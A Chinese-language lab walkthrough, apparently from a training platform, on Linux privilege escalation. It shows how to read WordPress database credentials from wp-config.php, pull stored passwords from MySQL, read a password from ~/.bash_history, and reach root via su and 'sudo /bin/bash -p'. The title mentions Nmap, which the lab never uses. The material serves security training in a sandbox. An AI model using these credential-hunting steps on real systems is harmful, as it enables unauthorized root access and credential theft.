在 Nmap 中查找并利用敏感配置文件进行权限提升

Beginner

介绍

在本实验中,我们将学习如何在 Linux 系统上查找并利用敏感配置文件,以将我们的权限提升至 root。目标是更深入地理解 Web 服务配置文件和用户相关配置文件,以及如何利用它们进行权限提升。我们将假设已经通过 Web 漏洞获得了低权限的 shell,例如 www-data 用户,并探索将访问权限提升至 root 的技术。

调查 Web 服务配置文件

Web 服务配置文件中可能包含敏感信息,例如数据库凭据,如果管理员重复使用了密码,这些信息可以用于权限提升。

  1. 首先,打开终端并导航到 /home/labex/project

    cd /home/labex/project
    

    让我们从初始化实验环境开始:

    ./env_setup_1.sh
    

    初始化完成后,我们现在以 www-data 用户身份操作,模拟通过 Web 漏洞获得的低权限 shell。

  2. Linux 上的 Web 服务通常存储在 /var/www 目录中。我们应该关注以下文件:

    • database.php
    • user.php
    • *.config
    • config.php

    我们可以使用以下命令搜索这些文件:

    find /var/www -type f \( -iname "user.php" -o -iname "database.php" -o -iname "config.php" -o -iname "*.config" \) 2> /dev/null
    

    预期输出:

    /var/www/wordpress/wp-admin/includes/user.php
    /var/www/wordpress/wp-includes/user.php
    /var/www/wordpress/wp-content/plugins/akismet/views/config.php
    

    此外,如果目标系统使用了内容管理系统(CMS),我们可以搜索该 CMS 的默认数据库连接文件位置。

  3. 在本实验环境中,服务器使用了 WordPress CMS。通过搜索,我们发现 WordPress 数据库配置存储在 /var/www/wordpress/wp-config.php 文件中:

    more /var/www/wordpress/wp-config.php
    

    该文件包含 MySQL root 账户的凭据:

    /** MySQL database username */
    define( 'DB_USER', 'root' );
    
    /** MySQL database password */
    define( 'DB_PASSWORD', 'cD8M2M8fMiDHu4m1' );
    
  4. 考虑到管理员可能重复使用密码,我们可以尝试使用此密码以系统 root 用户身份登录:

    su -
    

    不幸的是,此密码对 root 用户无效。

  5. 接下来,我们可以登录 MySQL 数据库并搜索更多信息:

    mysql -u root -p -h 127.0.0.1
    

    输入 wp-config.php 文件中的密码:

    cD8M2M8fMiDHu4m1
    

    在 MySQL 数据库中,我们可以执行以下命令以收集更多信息:

    检查可用的数据库:

    show databases;
    

    选择 ROB 数据库:

    use ROB;
    

    列出 ROB 数据库中的表:

    show tables;
    

    选择 rob_user 表:

    select * from rob_user;
    

    从数据库中,我们获得了另外两组凭据:

    root:CMPc5MoAGf
    alice:psoj9apv4u
    

    退出 MySQL 数据库:

    exit
    
  6. 我们可以尝试使用密码 CMPc5MoAGf 以 root 用户身份登录:

    su -
    

    输入我们从数据库中获得的密码:

    CMPc5MoAGf
    

    这次,我们成功获得了 root 访问权限!

  7. /root 目录中创建一个名为 proof.txt 的文件,以证明成功提升了权限:

    echo "Success" > /root/proof.txt
    

    验证文件是否已创建:

    ls /root/proof.txt
    

在这一步骤中,我们学习了如何查找并利用 Web 服务配置文件中的敏感信息来提升权限。核心思想是在服务器上搜索身份验证凭据,并利用可能的密码重复使用来进行权限提升。

调查用户相关配置文件

在这一步骤中,我们将重点关注可能包含敏感信息的用户相关配置文件。

在上一步骤之后,你可能仍然处于 root shell 中。为了进行本步骤,我们将通过运行以下命令切换回 labex 用户:

su - labex
  1. 首先,导航到 /home/labex/project

    cd /home/labex/project
    

    让我们从初始化实验环境开始:

    ./env_setup_2.sh
    

    初始化完成后,我们现在以 user001 用户身份操作。

  2. 需要调查的两个主要用户相关配置文件是:

    • ~/.bash_profile:用于配置环境变量和启动程序。该文件在用户登录时执行(login)。
    • ~/.bash_history:每个用户主目录中的文件,记录用户的 shell 命令历史,通常存储最后 1000 条命令(在某些 Linux 发行版中可能禁用此功能)。
  3. 让我们从检查 ~/.bash_profile 文件开始:

    cat ~/.bash_profile
    

    预期输出:

    cat: /home/user001/.bash_profile: No such file or directory
    

    在这种情况下,user001 用户似乎没有使用 ~/.bash_profile 文件。

  4. 接下来,让我们检查 ~/.bash_history 文件:

    cat ~/.bash_history
    

    在这里,我们发现历史记录中有一条命令:

    ...
    echo user001:09FMWNFS7n | chpasswd
    ...
    

    这条命令表明 user001 用户的密码已被更改为 09FMWNFS7n

  5. 我们可以尝试使用此密码来获取提升的权限:

    sudo whoami
    

    并输入我们在 ~/.bash_history 文件中找到的密码:

    09FMWNFS7n
    

    密码有效,我们可以使用 sudo 权限执行命令。

  6. 为了获取 root shell,我们可以使用以下命令:

    sudo /bin/bash -p
    

    通过利用用户命令历史中的信息,我们成功获得了 root shell。

  7. 最后,在 /root 目录中创建一个名为 success.txt 的文件以完成实验:

    echo "Congratulations" | sudo tee /root/success.txt
    

总结

在本实验中,我们学习了如何在 Linux 系统上查找并利用 Web 服务配置文件和用户相关配置文件中的敏感信息来提升权限。我们探索了搜索可能包含身份验证凭据的文件的技术,例如数据库连接文件、用户命令历史记录和其他配置文件。通过利用可能的密码重复使用,我们成功获得了 root 访问权限。

关键要点是始终警惕系统中存储的敏感信息,因为它可能潜在地导致权限提升。虽然本实验专注于特定类型的文件,但保持一种持续搜索任何可能被利用以提升权限的文件或信息的心态至关重要。